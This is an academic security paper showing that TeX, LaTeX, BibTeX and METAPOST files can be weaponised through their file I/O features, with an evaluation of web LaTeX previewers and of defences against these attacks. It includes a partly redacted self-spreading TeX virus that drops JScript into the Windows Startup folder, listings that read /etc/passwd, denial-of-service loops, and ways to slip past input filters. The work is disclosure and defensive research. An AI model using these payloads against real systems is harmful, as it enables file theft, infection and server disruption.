Are Text-Only Data Formats Safe? Or, Use This LaTeX Class File to Pwn Your Computer

Stephen Checkoway — *UC San Diego*
Hovav Shacham — *UC San Diego*
Eric Rescorla — *RTFM, Inc.*

Abstract

We show that malicious TeX, BibTeX, and METAPOST files can lead to arbitrary code execution, viral infection, denial of service, and data exfiltration, through the file I/O capabilities exposed by TeX's Turing-complete macro language. This calls into doubt the conventional wisdom view that text-only data formats that do not access the network are likely safe. We build a TeX virus that spreads between documents on the MiKTeX distribution on Windows XP; we demonstrate data exfiltration attacks on web-based LaTeX previewer services.

1 Introduction

The divide between "code" and "data" is among the most fundamental in computing. Code expresses behavior or functionality to be carried out by a computer; data encodes and describes an object (a photo, a spreadsheet, etc.) that is conceptually inert, and examined or manipulated by means of appropriate code. The complexity of data formats for media manipulated by desktop systems, together with the inability of programmers to write bug-free code, has generated a stream of exploits in common media formats. These exploits take advantage of software bugs to induce arbitrary behavior when a user views a data file, even seemingly simple ones such as Windows' animated cursors [16]. The inclusion of powerful scripting languages in file formats like Microsoft's Word has led to so-called macro viruses,[1] and to PostScript documents that violate a paper reviewer's anonymity [3]. These two trends have combined in the use of PDF files that include JavaScript to exploit bugs in Adobe's Acrobat; by one report [19], some 80% of exploits in the fourth quarter of 2009 used malicious PDF files. Thus the complexity and opacity of data formats has made data behave more like code. On the other side, a line of work culminating in the English-language shellcode of Mason et al. [13] has shown how to make code look more like data.

In this paper, we present a case study of another unsafe data format, one that is of particular interest to the academic community: TeX. Unlike Word documents or PDF files, the input file formats associated with TeX are all plain text and thus, naïvely, "safe." LaTeX and BibTeX files are routinely transmitted in research environments — a practice we show is fundamentally unsafe. Compiling a document with standard TeX distributions allows total system compromise on Windows and information leakage on UNIX.

TeX is unsafe. Donald Knuth's TeX is the standard typesetting system for mathematical documents. It is also a Turing-complete macro language used to interpret scripts from potentially untrusted sources. In this paper, we show that a specific capability exposed to TeX macros — the ability to read and write arbitrary files — makes it (and other commonly used bits of TeXware, such as BibTeX and METAPOST) a threat to system security and data privacy.

We demonstrate two concrete attacks. First, as an example of running arbitrary programs, we build a TeX virus that affects recent MiKTeX distributions on Windows XP, spreading to all of a user's TeX documents. The virus requires no user action beyond compiling an infected file. Our virus does nothing but infect other documents, but it could download and execute binaries or undertake any other action it wishes.

Second, we describe data exfiltration and denial of service attacks against web-based LaTeX and METAPOST previewer services. Our findings have implications for any online service that compiles or hosts TeX files on behalf of untrusted users, including the Comprehensive TeX Archive Network (CTAN) and Cornell University Library's arXiv.org preprint server.

Defenses. The lesson we teach here is one learned over and over: As the Internet has made document sharing easier and more pervasive, file formats once considered trusted have become attack vectors, either because the parser was insecure or because the scripting capabilities exposed to files in the format have unforeseen consequences. Barring a fundamental change in the way that data-handling code is designed and implemented, we must set aside the idea that data, unlike code, can be "safe"; we should instead treat data-processing code as inherently insecure and design systems that can withstand its compromise — as, for example, Bernstein has advocated [5].

For TeX specifically, there are three main approaches to protect against abuse of interpreted languages. First,

[1] Amusingly, some advocacy documents list "no macro viruses" as an advantage TeX has over Word; see, e.g., http://web.mit.edu/klund/www/urk/texvword.html.

one could audit the interpreter for vulnerabilities that allow the attacker to subvert the intended restrictions on the scripting language. Such vulnerabilities are commonly found in supposedly safe file formats and frequently allow the attacker to execute arbitrary code, as in Dowd's recent ActionScript exploit [8]. We know of no such vulnerabilities in TeX, but their absence does nothing to defend against capabilities granted to TeX scripts by design, including the file I/O that forms the basis for our attacks. A second approach is to attempt to establish a safe subset of commands, through blacklisting, whitelisting, or other forms of filtering or rewriting. (This is akin to code-rewriting systems in which code is verified safe at load-time [17].) As we show below, the malleability of the TeX language makes it difficult to filter safely. A final, more drastic approach is to treat the entire system as untrusted and sandbox it using the operating system's isolation mechanisms; as we show, this seems like the most promising approach for TeX.

Observations similar to the ones we have made for TeX apply to other data formats that are programmable (e.g., using JavaScript) or require complicated and error-prone parsers. Ensuring that all programs that process such formats are appropriately sandboxed represents a reimagination of the way traditional desktop environments are engineered; a redesigned system would dovetail with the principles laid out by Bernstein [5].

2 Low-level details of TeX

In this section, we recall some features of the TeX programming language and the LaTeX macro package. The discussion covers only the behaviors on which our attack relies; for more complete coverage we refer the reader to [6, 11, 24]. Even so, the discussion is quite technical. Readers not interested in TeX arcana are encouraged to continue to Section 3, referring back to this section for reference as necessary.

Important control sequences. TeX and LaTeX behavior is principally controlled by a variety of control sequences, conventionally a sequence of characters prefaced by a backslash (\). Below are some of the control sequences we will use in the remainder of the paper.

`\catcode` TeX primitive that changes the category code of a character: `` \catcode`\X=0 `` changes the default category code of X from "letter" to "escape character."

`\csname ...\endcsname` TeX primitive that builds control sequences: `\csname foo\endcsname` is (almost) the same as `\foo`.

`\include` LaTeX macro that behaves as `\input` except that the included material begins on a new page: `\include{file}`.

`\input` TeX primitive (redefined by LaTeX) that reads the contents of its space-separated argument as if the text were typed directly into the main document: `\input file` (or in LaTeX, `\input{file}`).

`\@input` LaTeX internal similar to TeX's `\input`.

`\@@input` LaTeX internal identical to TeX's `\input`.

`\jobname` TeX primitive that expands to the name of the file being compiled without its extension.

`\newread` (La)TeX macro to allocate a new stream for file reading: `\newread\file`.

`\openin` TeX primitive that opens a file and associates it with a read stream: `\openin\file=foo.ext`.

`\read` TeX primitive that reads a line from a file, assigning each character the category code currently in effect: `\read\file to\line` stores the tokens produced from the file into `\line`.

`\readline` ε-TeX extension that behaves as `\read` but assigns only the category codes "other" and "space."

`\relax` TeX primitive that takes no action; just relaxes.

`\write` TeX primitive that writes an expanded token list to a file: `\write\file{foo}`.

Other control sequences are used below, but either their behavior is clear or their use is not of central importance.

TeX parsing behavior. TeX's behavior is usually described in terms of a "mouth" and a "stomach." The exact behavior is fairly complex but the following simplified description will suffice for this paper. TeX's mouth reads each line of input character by character and produces a stream of tokens which are acted on by TeX's stomach.

There are two types of tokens produced by TeX's mouth — character tokens and control sequences — and their production is governed by the *category code* — an integer in 0–15 — of the characters read. At any given time, each input character is associated with a single category code. Except in certain situations, expandable tokens (e.g., macros) are expanded into other tokens en route to TeX's stomach. Once in the stomach, TeX processes the tokens, performing assignments — such as changing category codes — and typesetting.

When TeX encounters two identical characters tokens with category code 7, (by default only ^), followed by two lowercase hexadecimal numbers, it treats the four characters as if a single character with ASCII value the hexadecimal number had appeared in the input.

3 Malicious TeX usage

It is generally assumed that it is safe to process arbitrary, untrusted documents with TeX, and by extension LaTeX. However, this is untrue; in fact, TeX can write arbitrary files to the filesystem. On UNIX systems, TeX output is typically restricted to the local directory and its subdirectories, which limits the scope of attack somewhat. However, MiKTeX, the most common TeX distribution for Windows, has no internal controls on where output can be written.

This ability to write to any file presents an obvious danger in that important files can be overwritten or the computing environment can be changed by the introduction of new files. The average user's computer is a target-rich environment, with any number of files which, when modified, allow the attacker to execute code in the user's environment. For concreteness, we focus on a single case: on Windows XP we can write JScript files to a user's `Startup` directory which will be executed by the Windows Script Host facility at login.

Once the script is executed, one possibility is it could download and run a binary of the attacker's choice using the `Microsoft.XMLHTTP` object. For example, this could cause the computer to become part of a botnet.

There is one technical hurdle that must be overcome in order to write to the `Startup` directory, namely spaces in the file path, which TEX does not ordinarily allow. However, we can leverage Windows' compatibility with older programs that expect file and directory names in 8.3 format. For example, `StartMenu` can be specified as `STARTM~1`. We use this compatibility in our proof-of-concept for application execution, a LATEX virus.

3.1 A two-stage virus

The virus attacks in two phases. In the first phase, it copies the payload to disk and install the appropriate JScript file into `Startup`. In the second phase, the JScript file finds other LATEX documents on the disk and infects them.

The first phase takes advantage of the fact that the TEX engine used in MiKTEX — and indeed in all modern TEX distributions — is pdfTEX which contains the ε-TEX extension `\readline` [23]. First, `\readline` is used to read the document being compiled line by line and write an exact copy to `C:\WINDOWS\Temp\sploit.tmp`. Then, a JScript file containing the second phase of the virus is written to the Administrator's `Startup` directory. Since the exact details of how this is accomplished are rather technical, they are omitted; however, the code for the first phase is given in Listing 1.

The second phase, written in JScript, first creates a `FileSystemObject`, then it reads the `sploit.tmp` file, and extracts all of the TEX code between two marker lines — the virus code. Next, it finds all of the files in the `Administrator` directory with the extension `.tex`. Finally, those files which contain `\end{document}` have the virus inserted just before the end.

In total, the virus requires two marker lines and 21 80-column lines of TEX. The TEX code is given in Listing 1; in the interest of not providing a complete, working virus, the majority of the JScript is omitted, but the remaining code is straightforward and we have tested it in our own systems. Moreover, it should be clear that we could in principle execute *any* JScript code and do far more damage than just modifying LATEX files on disk.

An earlier proof-of-concept TEX virus for NetBSD was designed in 1994 by Keith McMillan [15]. McMillan's modifies a user's GNU Emacs initialization file (something no longer possible with Web2C based TEX distributions) and relies on the user's visiting a directory in Emacs to spread to other `.tex` files in that directory. By contrast, our virus works on modern Windows systems and requires no user interaction beyond an eventual relogin.

3.2 BIBTEX databases

One potential barrier to using TEX for application execution is that the user might notice any malicious code present in files he is editing. BIBTEX databases provide a two-fold solution by (1) moving the malicious code out of the main document so it is less noticeable; and (2) allowing the code to be widely distributed.

BIBTEX is a program used to turn a database of references (the `.bib` files) into LATEX code for a bibliography consisting of the references for the citations in the paper (the `.bbl` files). Subsequent runs of LATEX cause the text of the generated `.bbl` files to be `\input` into the document at the specified location. It is quite common for users to simply download BIBTEX entries or even entire databases, such as the RFC BIBTEX files provided by Miguel Garcia Martin. In the latter case, the database often contains a large number of entries which the user does not carefully examine; indeed he may never even look at the entries but rather search the database with a tool such as RefTEX. This facilitates an attack since malicious code may be harder to notice in a large file full of unused information.

Each BIBTEX entry has the form `@type...`, where `type` is one of the types understood by a particular style such as `book` or `article`. There is an additional entry type, `@preamble`, which inserts text verbatim into the `.bbl` file just before the bibliography. In addition, multiple `@preamble` entries are concatenated into a single line in the order they appear in the database. Thus, malicious code can be separated into arbitrarily many parts and scattered (in order) throughout the `.bib` file, and will be executed regardless of which entries the author actual cites.

Other file formats that embed TEX commands can also be used as attack vectors. Examples include graphics languages such as METAPOST and Asymptote.

3.3 Class and style files

Base LATEX functionality is extended through the use of class files which set the overall format of the document to be produced and style files which typically change the behavior of one aspect of the document. At present,

Listing 1: Virus code with JScript omitted.

```
%%%%SPLOIT%%%%
{\newwrite\w\let\c\catcode\c`*13\def*{\afterassignment\d\count255"}\def\d{%
\expandafter\c\the\count255=12}{*0D\def\a#1^^M{\immediate\write\w{#1}}\c`^^M5%
\newread\r\openin\r=\jobname \immediate\openout\w=C:/WINDOWS/Temp/sploit.tmp
\loop\unless\ifeof\r\readline\r to\l\expandafter\a\l\repeat\immediate\closeout
\w\closein\r}{*7E*24*25*26*7B*7D\immediate\openout
\w=C:/DOCUME~1/ADMINI~1/STARTM~1/PROGRAMS/STARTUP/sploit.js \c`[1\c`]2\c`\@0
\newlinechar`\^^J\endlinechar-1*5C@immediate@write
@w[fso=new ActiveXObject("Scripting.FileSystemObject");foo=^^J
⟨11 lines of JScript omitted⟩
f(fso.GetFolder("C:\\Documents and Settings\\Administrator"));}m();]
@immediate@closeout@w]}%
%%%%SPLOIT%%%%
```

CTAN has 1080 user contributed LaTeX 2_ε packages. The MiKTeX repository on CTAN has 1908 packages. Similar to the situation with large BibTeX databases, most users never examine a style or class file. If a popular package on one of the many CTAN mirrors were modified to contain malicious code, it might affect a large number of LaTeX users before being discovered.

Rather than corrupting an existing package, an attacker could submit a package, e.g., purporting to implement the guidelines for submission to a conference, to CTAN. Anyone using such the package would be at risk.

4 Web-based LaTeX previewers

We now turn our attention to a slightly harder target. There are more than a dozen web-based services that compile LaTeX files on users' behalf and return the resulting PDFs. We have designed successful exfiltration and file writing attacks on most of these services. Moreover, the filtering mechanisms devised by these services were largely ineffective against our attacks. We have disclosed the vulnerabilities we found to the affected services to the operators, with universally positive responses. As a result, number of operators changed their security policy or removed the previewer altogether.

4.1 Reading files

All properly configured web servers allow only a subset of the files on the computer to be visible to connecting clients. In this section, we show how we can use the power of TeX to read files from web servers that expose a LaTeX interface.

There are various ways that an attacker can use the exposed LaTeX interface to read files not exposed by the web server. The two most obvious approaches are using `\input` or `\include` to interpolate the text of the file into the TeX input and hence the output document. One minor problem with this approach is that we have lost line breaks in the input file since TeX will treat them as spaces in the usual manner. One way to avoid losing line breaks, as well as circumventing blacklisting of such control sequences, is to use TeX's ability to read files.

Listing 2: Reading a file a line at a time.

```
\openin5=/etc/passwd
\def\readfile{%
    \read5 to\curline
    \ifeof5 \let\next=\relax
    \else   \curline~\\
            \let\next=\readfile
    \fi
    \next}%
\ifeof5 Couldn't read the file!%
\else   \readfile \closein5
\fi
```

The basic idea is to open a file for reading, read it one line at a time, and feed it to the typesetting engine. The code for this is given in Listing 2.

An additional problem is processing characters in the input that TeX considers to be special. For example, running the code in Listing 2 on one of the authors' computer produces the error "You can't use 'macro parameter character #' in horizontal mode." This is easily fixed by changing the category code for # with `\catcode`\#=12` before the `\read` command in Listing 2 and restoring it afterward. Other special characters can be handled in an analogous manner. Alternatively, the `\readline` primitive from ε-TeX can be used.

4.2 Writing files

As discussed in Section 3, Web2C-based TeX distributions such as teTeX and TeX Live typically only allow files to be output in the current directory or a subdirectory. However, this still leaves room for attacks. A common way to generate images for displaying in a web page is to make a temporary directory — for example in `/tmp` — and generate the needed files inside that directory. Afterward, the images are copied elsewhere or used immediately and then the whole directory is deleted. A previewer that generates images in a web-accessible directory and then cleans up the specific files it knows will be generated but not needed may be vulnerable to attack. For example, on a web server that allows PHP, an attacker need only open a file using `\openout` and use `\write` to write PHP code, which would then be executed by the server when the attacker did an HTTP request for that file. If the previewer is based on MiKTeX, these constraints are relaxed and attack is even easier.

4.3 Denial of service

Any previewer that allows the TeX looping construct `\loop...\repeat` or the definition of new macros is at risk of a denial of service attack. The shortest form of this attack is `\loop\iftrue\repeat`. Another way to achieve this is to use `\def\nothing{\nothing}`. The loops cause TeX to burn CPU cycles without actually producing anything. If enough instances of it happen at once, the computer will slow to a crawl and no more useful work will be possible until the processes are killed.

One extension of this attack is to cause TeX to produce very large files, potentially filling up the disk. The way to do this without exhausting TeX's memory is to produce pages of output so that TeX will discard from its memory the pages it has already processed. This can be done using `\shipout` — a TeX primitive that writes the contents of the following box to the output file.

4.4 Escaping math mode

Many of the LaTeX previewers on the web were designed only to display mathematics. As a result, the text that the user inputs is copied into a mathematics environment in an otherwise-complete LaTeX document to pass off to LaTeX for compilation. The most common way to do this is to put the input inside a `eqnarray*` or `align*` environment. To get out of math mode, we simply start the input with `\end{eqnarray*}` (resp. `\end{align*}`) and to ensure that the document compiles, we end the input with `\begin{eqnarray*}` (resp. `\begin{align*}`). Alternatively, to get out of math mode temporarily, we can use `\parbox`.

4.5 Evading Filters

The natural defense against the attacks described in this section is to filter out dangerous commands. However, this is more difficult than it first appears. In this section, we describe a number of techniques for evading simple filters. For concreteness, the discussion below is limited to `\input`, but most of the techniques are applicable to all the commands discussed above.

Using some of the features and control sequences described in Section 2, we can use `\input` without having to write the literal string `\input`. For example, we can use `\csname input\endcsname`. This attack is more likely to succeed than `\input` because `\csname` is used mostly by package writers and only rarely by authors.

An attacker can evade simpleminded filters by using `\catcode` to change the category code of another character to "escape" and use that in place of `\`. For example, one can change the category code of 'X' and use `Xinput`. Additionally, one can use `^^5c` in place of `\` as described in Section 2. Of course, other characters could be replaced, not simply `\`, for example, if the word "input" is not allowed anywhere in the previewer's input, then 'p' can be replaced with `^^70`.

Yet another possibility is for an attacker to invoke `\@input` or `\@@input` directly — this requires using either `\makeatletter` or `\catcode` to change the category code of @ to "letter." In all likelihood, there are a number of LaTeX internals that could be used to facilitate an attack. These are much less well known outside of the package writing community and are thus likely to escape the notice a web site administrator attempting to secure a LaTeX previewer.

One can make use of a peculiarity of the implementation of LaTeX *environments* to evade filters that look for control sequences starting with `\`. A LaTeX environment `foo` consists of a pair `\begin{foo}...\end{foo}`. The `\begin{foo}` and `\end{foo}` macros execute the control sequences `\foo` and `\endfoo` using `\csname`. Thus, one can execute any control sequence by passing its name as the argument to `\begin`. If `\endfoo` is not defined, TeX defines it as `\relax`. For example, `\begin{TeX}\end{TeX}` eventually executes `\TeX\relax`. Since the backslash before the control sequence name is not present when using `\begin`, it does not trigger a filter looking for particular control sequences which begin with `\`. One can pass arguments to a macro simply by placing the argument after the `\begin`. For example, one can read files with `\begin{input}{/file/path}\end{input}`.

4.6 METAPOST

METAPOST is a declarative, macro programming language, based on METAFONT, used to produce vector graphics, often for inclusion into (LA)TeX documents. Like TeX, METAPOST is an extremely powerful language and as such, there are dangers associated with providing a METAPOST previewer on the web.

The first such danger is the ability to write arbitrary single line TeX fragments. Any literal text that appears between `btex` and `etex` is written to a `tex` file which is compiled by TeX and the result is included into the METAPOST output; this is often used for typesetting labels. METAPOST provides a way to include arbitrary, multi-line TeX code at the beginning of the `tex` file used with `btex...etex` using the `verbatimtex...etex` construct. The latexMP package makes using LaTeX for typesetting easy. It includes a macro `textext` which takes a string argument containing a single line of LaTeX to typeset. As a result, all of the attacks discussed thus far work just as well for a METAPOST previewer that allows the `btex...etex` construction or allows the use of the latexMP package.

Listing 3: Reading a file with METAPOST.

```
picture p;
p := nullpicture;
forever:
    string line;
    line := readfrom "/etc/passwd";
    exitif line = EOF;
    p := thelabel.lrt( line,
        (0, ypart llcorner p) );
    draw p;
endfor;
```

Even worse, from a web site administrator's point of view, is that since latexMP allows strings and not just literal data to be typeset, attempting to sanitize input to the `textext` macro requires performing a data flow analysis that can prove that no harmful control sequences make it into the string ultimately used as the argument.

A second danger is that METAPOST includes commands for reading and writing files, `readfrom` and `write`, respectively. To read an arbitrary file such as `/etc/passwd`, we can use the code in Listing 3.

As seen in Listing 3, METAPOST has a command `forever` that loops forever. In addition to `forever`, METAPOST allows macro definitions via `def` which can be used to simulate looping. As before, we can actually do more than simply burn CPU cycles. We can try to write large files or write many files. For example, Listing 4 will produce a maximum of 4096 files per minute. This limit is due to METAPOST's maximum numeric value being slightly under 4096.

One final avenue of attack against a METAPOST previewer is to use the `scantokens` command. It takes a string argument and reads the string as if the contents had been written literally in the file at that point, with a few exceptions. In particular, any of the attacks listed here could be created using string operations and then passed to `scantokens`.

4.7 Evaluation

We tested the aforementioned attacks against a variety of web sites running LaTeX previewers. The previewers examined vary in the type of content they were meant to accept from a single mathematical expression to an entire LaTeX document.

Since our goal was to probe but not attack these web sites, file reading was restricted to files with no security implications such as `/etc/hostname` on UNIX and `C:\WINDOWS\win.ini` on Windows. Rather than actually produce multiple infinite looping instances, we test that macros can be defined by defining benign macros using `\def`, `\gdef`, etc. Looping via `\loop` is attempted using the code in Listing 5. If `\loop` is allowed, the fragment will output "before after before." Once it has been determined which of the looping constructs work, a single infinite loop is produced to check for the presence of timeouts.[2] No attempts were made to write files, consequently those attacks are unevaluated. Table 1 contains the results of the attacks. As can be seen, the majority of the attacks were successful.

Listing 4: Creating 4096 files per minute with METAPOST.

```
filenametemplate "%j%c%y%m%d%H%M";
i := 0;
forever:
    beginfig(i);
        % Add METAPOST code here
    endfig;
    if i = 4095:
        i := 0;
    else:
        i := i + 1;
    fi;
endfor;
```

4.7.1 Equation previewers

The first group of LaTeX previewers in Table 1 [4, 7, 12, 14, 18, 22] are meant to display a single mathematical statement at a time. Many of the previewers' authors took precautions against several of the file reading attacks described in Section 4.1 by attempting to preprocess the input and either remove or disallow particular portions of input with varying degrees of success. All of them neglected to account for the TeX primitive, `\openin` and all were potentially vulnerable to denial of service attacks via infinite loops using either `\loop` or `\def`.

4.7.2 Full document previewers

The second group of LaTeX previewers in Table 1 [1, 9, 20, 21, 26, 27] are meant to display a complete LaTeX document. By their very nature, full document previewers must be permissive if they are to be useful. Full document previewers are potentially vulnerable to all of the same vulnerabilities as the equation previewers as well as vulnerabilities that come from allowing the inclusion of packages. For example, the Listings package, designed to typeset source code listings, can be used to read and display text files. All of the full document previewers we evaluate except for ScribTeX — which employs several of the defenses discussed in Section 4.8 — are vulnerable to all of the attacks except `\input`.

4.7.3 MathTran

MathTran [25] was designed as a TeX previewer with security in mind. MathTran uses Secure plain TeX, a

[2] Since webservers typically have timeouts of several minutes for CGI — for example, Apache and IIS both default to five minutes — this infinite loop causes no real damage. However, the timeout is long enough that a real attacker attempting a denial of service would simply have to create new infinite loops every few minutes.

	\loop	\def	\input	\@input	\csname	\catcode	^^5c	\openin	\begin
LaTeX Eqn. Ed. for the Internet [4]	✓	✓		✓				✓	✓
Roger's Online Eqn. Ed. [7]	✓	✓	✓	✓	✓	✓	✓	✓	✓
LaTeX Eqn. Ed. [12]	✓	✓	✓		✓	✓	✓	✓	✓
mathURL† [14]	✓	✓		✓	✓	✓	✓	✓	✓
Hamline LaTeX Eqn. Ed. [18]	✓	✓	✓	✓	✓	✓	✓	✓	✓
MathBin.net [22]	✓	✓		✓	✓	✓	✓	✓	✓
ScribTeX‡ [1]	✓	✓							
LaTeX Previewer [9]	✓	✓		✓	✓	✓	✓	✓	✓
ScienceSoft LaTeX [20]	✓	✓		✓	✓	✓	✓	✓	✓
LaTeXLab [21]	✓	✓	✓	✓	✓	✓	✓	✓	✓
LaTeX Online Compiler [26]	✓	✓		✓	✓	✓	✓	✓	✓
Web LaTeX [27]	✓	✓	✓	✓	✓	✓	✓	✓	✓
MathTran [25]									

Table 1: LaTeX previewer vulnerabilities. The \loop and \def columns contain a ✓ if the attack could be used to cause a denial of service by producing an infinite loop. The other columns contain a ✓ if the attack can be used to read input.
†The only files we were able to read were the input and the ones produced by LaTeX. It is unknown if others were accessible.
‡The previewer contains a timeout of several seconds.

Listing 5: Testing for \loop.

```
\newif\iffoo\footrue
\loop before
\iffoo after \foofalse
\repeat
```

reimplementation of plain TeX that prevents using any control sequence other than those meant for typesetting. As a result, all of the attacks described above fail, with the one exception of escaping from math mode. This is the most secure web-based previewer we evaluate.

4.7.4 METAPOST

The one METAPOST previewer we evaluate [10] is vulnerable to reading and writing files using the METAPOST commands. It is also vulnerable to all of the attacks that [9] is vulnerable to using the btex...etex construct.

4.8 Defenses against attacks

As we have seen, simply filtering out macros deemed unsafe is problematic. First, the list of macros that would need to be blacklisted is quite large, especially if the user can add additional packages. For example, the LaTeX 2ε kernel alone defines the macros \include, \input, \@input, \@iinput, \@input@, \@@input, and \InputIfFileExists [6]. Second, style and class files can contain additional macros for reading files, for example \lstinputlisting from the listings package or \verbatiminput from the verbatim package. The blacklisting approach seems unlikely to succeed without a complete understanding of TeX and LaTeX.

Instead of blacklisting unsafe macros, we could instead whitelist macros deemed safe. This approach seems difficult to implement and verify successfully. For example, it would be easy to overlook the fact that ^^5c starts a new control sequence. In addition, for the previewer to be useful, the list of acceptable control sequences would be quite large. MathTran [25] takes a similar approach, except that rather than have a preprocessing step, plain TeX itself is completely reimplemented.

Rather than preprocessing the input, a better approach leverages the power of TeX to perform the input sanitization. The mathURL previewer [14] takes this approach by redefining \input and \include to be no-op macros that just expand to their own arguments. Had \@@input been redefined instead, the majority of the file reading attacks would have failed since all of LaTeX's input macros rely on \@@input. Similar to blacklisting, this approach requires deciding on a set of disallowed macros and then redefining them; however, it does not fall prey to using the ^^5c, \catcode, \csname, or \begin attacks with the redefined macros. As with blacklisting, it still requires knowing which control sequences to redefine.

A more promising approach for preventing TeX from reading sensitive files is to leverage TeX runtime configuration parameters. Web2C-based TeX distributions contain the runtime configuration parameter openin_any that, when set to p, for "paranoid," disallows reading any files in a parent directory. By default, this parameter is set to allow any files to be read. This relies on the particular TeX implementation correctly implementing this parameter. Unfortunately, MiKTeX does not contain a similar configuration parameter. A similar parameter for Web2C-based distributions controls writing.

A second approach (which can be used in concert with the first) is to run TeX in an operating system jail containing just the files needed for the TeX distribution. This approach has two major advantages. First, it is not sensitive to details of the TeX implementation. Second, it allows us to leverage existing work on process isolation.

We note that ScribTEX uses both the configuration and jail approaches and this is the reason it is impervious to all of the file reading attacks [2].

Defending against denial of service attacks only requires a timeout short enough to ensure that the server does not get overwhelmed.

5 Conclusions

Conventional wisdom in security distinguishes between "safe" and "unsafe" data files. Binary files are more risky than text files; content that interacts with the network is more risky than purely local content. In this paper, we argue that even seemingly safe data files can be unsafe. Although TEX documents are plain text, manipulating maliciously constructed LATEX documents or class files, BIBTEX databases, or METAPOST graphics files can lead to arbitrary code execution, viral infection, denial of service, and data exfiltration.

Acknowledgments

We thank Stefan Savage for numerous helpful conversations; Troy Henderson for letting us experiment extensively with his LATEX and METAPOST previewers; _llll_ from FreeNode's #latex for pointing out the `\begin` attack; and the anonymous reviewers for their helpful comments.

References

[1] James Allen. ScribTEX. http://www.scribtex.com.

[2] James Allen. Personal communication, April 2008.

[3] Michael Backes, Markus Dürmuth, and Dominique Unruh. Information flow in the peer-reviewing process (extended abstract). In Birgit Pfitzmann and Patrick McDaniel, editors, *Proceedings of IEEE Security & Privacy 2007*, pages 187–191. IEEE Computer Society, May 2007.

[4] Will Bateman and Steve Mayer. LATEX equation editor for writing mathematics on the internet. http://www.codecogs.com/components/equationeditor/equationeditor.php.

[5] Daniel J. Bernstein. Some thoughts on security after ten years of qmail 1.0. In Ravi Sandhu and Jon A. Solworth, editors, *Proceedings of CSAW 2007*, pages 1–10. ACM Press, November 2007. Invited paper.

[6] Johannes Braams, David Carlisle, Alan Jeffrey, Leslie Lamport, Frank Mittelbach, Chris Rowley, and Rainer Schöpf. The LATEX 2$_\varepsilon$ sources, December 2005.

[7] Roger Cortesi. Roger's online equation editor. http://rogercortesi.com/eqn/index.php.

[8] Mark Dowd. Application-specific attacks: Leveraging the ActionScript virtual machine. http://documents.iss.net/whitepapers/IBM_X-Force_WP_final.pdf, April 2008.

[9] Troy Henderson. LATEX previewer. http://www.tlhiv.org/ltxpreview.

[10] Troy Henderson. METAPOST previewer. http://www.tlhiv.org/mppreview.

[11] Donald E. Knuth. *The TEXbook*. Addison-Wesley Professional, 1986.

[12] LATEX equation editor. http://www.sitmo.com/latex.

[13] Joshua Mason, Sam Small, Fabian Monrose, and Greg MacManus. English shellcode. In Somesh Jha and Angelos Keromytis, editors, *Proceedings of CCS 2009*, pages 524–33. ACM Press, November 2009.

[14] mathURL. http://mathurl.com.

[15] Keith Allen McMillan. A platform independent computer virus. Master's thesis, The University of Wisconsin—Milwaukee, April 1994. Online: http://vx.netlux.org/lib/vkm00.html.

[16] Microsoft. Vulnerabilities in GDI could allow remote code execution (925902). Microsoft Security Bulletin MS07-017, April 2007. Online: http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx.

[17] George C. Necula and Peter Lee. Safe kernel extensions without run-time checking. In Karin Peterson and Willy Zwaenepoel, editors, *Proceedings of OSDI 1996*, pages 229–43. USENIX, ACM SIGOPS, and IEEE TCOS, October 1996.

[18] Andy Rundquist. Hamline university physics department LATEX equation editor. http://www.hamline.edu/~arundquist/equationeditor.

[19] ScanSafe. Annual global threat report. Online: http://www.scansafe.com/downloads/gtr/2009_AGTR.pdf, 2009.

[20] ScienceSoft LATEX. http://sciencesoft.at/latex/?lang=en.

[21] Bobby Soares. LATEXLab. http://www.latexlab.org.

[22] Mark A. Stratman. MathBin.net. http://mathbin.net.

[23] Hàn Thế Thành, Sebastian Rahtz, Hans Hagen, Harmut Henkel, Pawł Jackowski, and Margin Schröder. *The pdfTEX user manual*, January 2007.

[24] The $\mathcal{NTS}$ Team. *The ε-TEX manual*. Max-Planck-Institut für Physik, February 1998.

[25] The Open University. MathTran – Online translation of mathematical content. http://mathtran.open.ac.uk.

[26] Annett Thüring. LATEX online compiler. http://nirvana.informatik.uni-halle.de/~thuering/php/latex-online/latex.php.

[27] Web LATEX. http://dev.baywifi.com/latex.